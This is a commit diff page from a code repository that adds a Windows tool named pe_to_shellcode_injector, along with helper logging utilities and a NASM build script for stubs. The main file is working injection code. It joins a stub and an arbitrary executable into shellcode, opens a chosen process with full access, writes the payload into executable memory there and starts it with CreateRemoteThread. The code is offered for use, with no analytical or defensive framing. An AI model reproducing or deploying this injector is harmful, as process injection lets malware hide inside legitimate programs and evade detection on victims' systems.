Skip to content

Commit 89c2802

Browse files
d35had35ha
authored
Add files via upload
1 parent db7c76b commit 89c2802

12 files changed

+886
-0
lines changed

Diff for: ‎Utils/Utils.cpp

+98
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
#include "Utils.h"
2+
3+
#pragma comment (lib, "ntdll.lib")
4+
5+
#define CONSOLE_COLOR_GREEN 0xA
6+
#define CONSOLE_COLOR_YELLOW 0xE
7+
#define CONSOLE_COLOR_RED 0xC
8+
#define CONSOLE_COLOR_WHITE 0x7
9+
10+
HANDLE hConsole = NULL;
11+
CHAR ErrorMsg[MAX_PATH] = { 0 };
12+
13+
BOOL printf_success(LPCSTR _Format, ...)
14+
{
15+
if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
16+
va_list ArgList = NULL;
17+
va_start(ArgList, _Format);
18+
SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_GREEN);
19+
printf("[+] ");
20+
vprintf(_Format, ArgList);
21+
SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE);
22+
va_end(ArgList);
23+
return TRUE;
24+
};
25+
26+
BOOL printf_info(LPCSTR _Format, ...)
27+
{
28+
if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
29+
va_list ArgList = NULL;
30+
va_start(ArgList, _Format);
31+
SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_YELLOW);
32+
printf("[!] ");
33+
vprintf(_Format, ArgList);
34+
SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE);
35+
va_end(ArgList);
36+
return TRUE;
37+
};
38+
39+
BOOL printf_error(LPCSTR _Format, ...)
40+
{
41+
if (!hConsole) hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
42+
va_list ArgList = NULL;
43+
va_start(ArgList, _Format);
44+
SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_RED);
45+
printf("[-] ");
46+
vprintf(_Format, ArgList);
47+
SetConsoleTextAttribute(hConsole, CONSOLE_COLOR_WHITE);
48+
va_end(ArgList);
49+
return TRUE;
50+
};
51+
52+
LPCSTR GetLastErrorFormat(ULONG dwErrorCode)
53+
{
54+
if (dwErrorCode == -1) dwErrorCode = GetLastError();
55+
if (!FormatMessageA(
56+
FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
57+
NULL,
58+
dwErrorCode,
59+
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
60+
ErrorMsg,
61+
sizeof(ErrorMsg),
62+
NULL))
63+
{
64+
printf_error("Error at getting the last error format of code 0x%lx\n", dwErrorCode);
65+
sprintf_s(ErrorMsg, "0x%lx", dwErrorCode);
66+
};
67+
return ErrorMsg;
68+
};
69+
70+
LPCSTR GetNtStatusFormat(NTSTATUS ntCode)
71+
{
72+
ULONG dwErrorCode = RtlNtStatusToDosError(ntCode);
73+
if (dwErrorCode == ERROR_MR_MID_NOT_FOUND)
74+
{
75+
printf_error("Error at getting the error code of ntstatus 0x%lx\n", ntCode);
76+
sprintf_s(ErrorMsg, "0x%lx", dwErrorCode);
77+
return ErrorMsg;
78+
};
79+
return GetLastErrorFormat(dwErrorCode);
80+
};
81+
82+
BOOL ReportBadPE(LPCSTR lpErrorStr)
83+
{
84+
printf_error("Invalid or unsupported PE file, %s\n", lpErrorStr);
85+
return TRUE;
86+
};
87+
88+
BOOL ReportApiError(LPCSTR szApiName, LPCSTR szMsg)
89+
{
90+
printf_error("Error at %s, %s, error code/msg = %s\n", szApiName, szMsg, GetLastErrorFormat(GetLastError()));
91+
return TRUE;
92+
};
93+
94+
BOOL ReportNtStastus(LPCSTR szApiName, NTSTATUS NtCode, LPCSTR szMsg)
95+
{
96+
printf_error("Error at %s, %s, status code/msg = %s\n", szApiName, szMsg, GetNtStatusFormat(NtCode));
97+
return TRUE;
98+
};

Diff for: ‎Utils/Utils.h

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
#include <windows.h>
2+
#include <winternl.h>
3+
#include <stdio.h>
4+
5+
#ifdef __GNUC__
6+
#define offsetof(type, member) __builtin_offsetof (type, member)
7+
#endif
8+
9+
#define GET_DIRECTORY_ENTRY(lpNtHeader, dwEntry) lpNtHeader->OptionalHeader.DataDirectory[dwEntry].VirtualAddress
10+
#define GET_DIRECTORY_SIZE(lpNtHeader, dwEntry) lpNtHeader->OptionalHeader.DataDirectory[dwEntry].Size
11+
12+
LPCSTR GetNtStatusFormat(NTSTATUS ntCode);
13+
LPCSTR GetLastErrorFormat(ULONG dwErrorCode = -1);
14+
BOOL printf_error(LPCSTR _Format, ...);
15+
BOOL printf_info(LPCSTR _Format, ...);
16+
BOOL printf_success(LPCSTR _Format, ...);
17+
BOOL ReportBadPE(LPCSTR lpErrorStr);
18+
BOOL ReportApiError(LPCSTR szApiName, LPCSTR szMsg);
19+
BOOL ReportNtStastus(LPCSTR szApiName, NTSTATUS NtCode, LPCSTR szMsg);

Diff for: ‎bins/pe_to_shellcode32.exe

11 KB
Binary file not shown.

Diff for: ‎bins/pe_to_shellcode64.exe

13 KB
Binary file not shown.

Diff for: ‎pe_to_shellcode_injector.cpp

+159
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
#include "Utils/Utils.h"
2+
3+
INT main(INT argc, CHAR** argv) {
4+
5+
if (argc > 3)
6+
{
7+
LPCSTR szPeFile = argv[1];
8+
LPCSTR szStubFile = argv[2];
9+
DWORD dwPid = atoi(argv[3]);
10+
11+
HANDLE hStubFile = NULL;
12+
if (!(hStubFile = CreateFileA(
13+
szStubFile,
14+
GENERIC_READ,
15+
0,
16+
NULL,
17+
OPEN_EXISTING,
18+
FILE_ATTRIBUTE_NORMAL,
19+
NULL
20+
)) || INVALID_HANDLE_VALUE == hStubFile)
21+
{
22+
ReportApiError("CreateFileA", "cannot open the supplied stub file");
23+
return FALSE;
24+
};
25+
26+
HANDLE hExeFile = NULL;
27+
if (!(hExeFile = CreateFileA(
28+
szPeFile,
29+
GENERIC_READ,
30+
0,
31+
NULL,
32+
OPEN_EXISTING,
33+
FILE_ATTRIBUTE_NORMAL,
34+
NULL
35+
)) || INVALID_HANDLE_VALUE == hExeFile)
36+
{
37+
ReportApiError("CreateFileA", "cannot open the supplied exe file");
38+
return FALSE;
39+
};
40+
41+
LARGE_INTEGER u32StubSize;
42+
if (!GetFileSizeEx(
43+
hStubFile,
44+
&u32StubSize
45+
))
46+
{
47+
ReportApiError("GetFileSizeEx", "cannot get the size of the supplied stub file");
48+
return FALSE;
49+
};
50+
51+
LARGE_INTEGER u32ExeSize;
52+
if (!GetFileSizeEx(
53+
hExeFile,
54+
&u32ExeSize
55+
))
56+
{
57+
ReportApiError("GetFileSizeEx", "cannot get the size of the supplied exe file");
58+
return FALSE;
59+
};
60+
61+
LPVOID lpShellcode = NULL;
62+
if (!(lpShellcode = VirtualAlloc(
63+
NULL,
64+
(SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart),
65+
(MEM_COMMIT | MEM_RESERVE),
66+
PAGE_READWRITE
67+
)))
68+
{
69+
ReportApiError("VirtualAlloc", "cannot allocate memory for the shellcode");
70+
return FALSE;
71+
};
72+
73+
DWORD dwReadBytes = 0;
74+
if (!ReadFile(
75+
hStubFile,
76+
lpShellcode,
77+
(DWORD)u32StubSize.QuadPart,
78+
&dwReadBytes,
79+
NULL
80+
) || dwReadBytes != u32StubSize.QuadPart)
81+
{
82+
ReportApiError("ReadFile", "cannot read the stub file");
83+
return FALSE;
84+
};
85+
86+
if (!ReadFile(
87+
hExeFile,
88+
#if defined(_M_X64) || defined(__amd64__)
89+
(LPVOID)((ULONGLONG)lpShellcode + dwReadBytes),
90+
#else
91+
(LPVOID)((ULONGLONG)lpShellcode + dwReadBytes),
92+
#endif
93+
(DWORD)u32ExeSize.QuadPart,
94+
&dwReadBytes,
95+
NULL
96+
) || dwReadBytes != u32ExeSize.QuadPart)
97+
{
98+
ReportApiError("ReadFile", "cannot read the exe file");
99+
return FALSE;
100+
};
101+
102+
HANDLE hProcess = NULL;
103+
if (!(hProcess = OpenProcess(
104+
PROCESS_ALL_ACCESS,
105+
FALSE,
106+
dwPid
107+
)))
108+
{
109+
ReportApiError("OpenProcess", "cannot open the target pid");
110+
return FALSE;
111+
};
112+
113+
LPVOID lpAllocatedBase = NULL;
114+
if (!(lpAllocatedBase = VirtualAllocEx(
115+
hProcess,
116+
NULL,
117+
(SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart),
118+
(MEM_COMMIT | MEM_RESERVE),
119+
PAGE_EXECUTE_READWRITE
120+
)))
121+
{
122+
ReportApiError("VirtualAllocEx", "cannot allocate at the remote process for the shellcode");
123+
return FALSE;
124+
};
125+
126+
SIZE_T stWrittenBytes = 0;
127+
if (!WriteProcessMemory(
128+
hProcess,
129+
lpAllocatedBase,
130+
lpShellcode,
131+
(SIZE_T)(u32StubSize.QuadPart + u32ExeSize.QuadPart),
132+
&stWrittenBytes
133+
) || stWrittenBytes != u32StubSize.QuadPart + u32ExeSize.QuadPart)
134+
{
135+
ReportApiError("WriteProcessMemory", "cannot write at the remote process");
136+
return FALSE;
137+
};
138+
139+
if (!CreateRemoteThread(
140+
hProcess,
141+
NULL,
142+
0,
143+
(LPTHREAD_START_ROUTINE)lpAllocatedBase,
144+
NULL,
145+
0,
146+
NULL
147+
))
148+
{
149+
ReportApiError("CreateRemoteThread", "cannot create a new thread at the remote process");
150+
return FALSE;
151+
};
152+
CloseHandle(hProcess);
153+
}
154+
else
155+
{
156+
printf("%s [exe] [stub] [pid]\n", argv[0]);
157+
}
158+
return TRUE;
159+
}

Diff for: ‎stub/make.bat

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
nasm -o stub_X32.bin -f bin stub_x32.asm
2+
nasm -o stub_X64.bin -f bin stub_x64.asm

0 commit comments

Comments
 (0)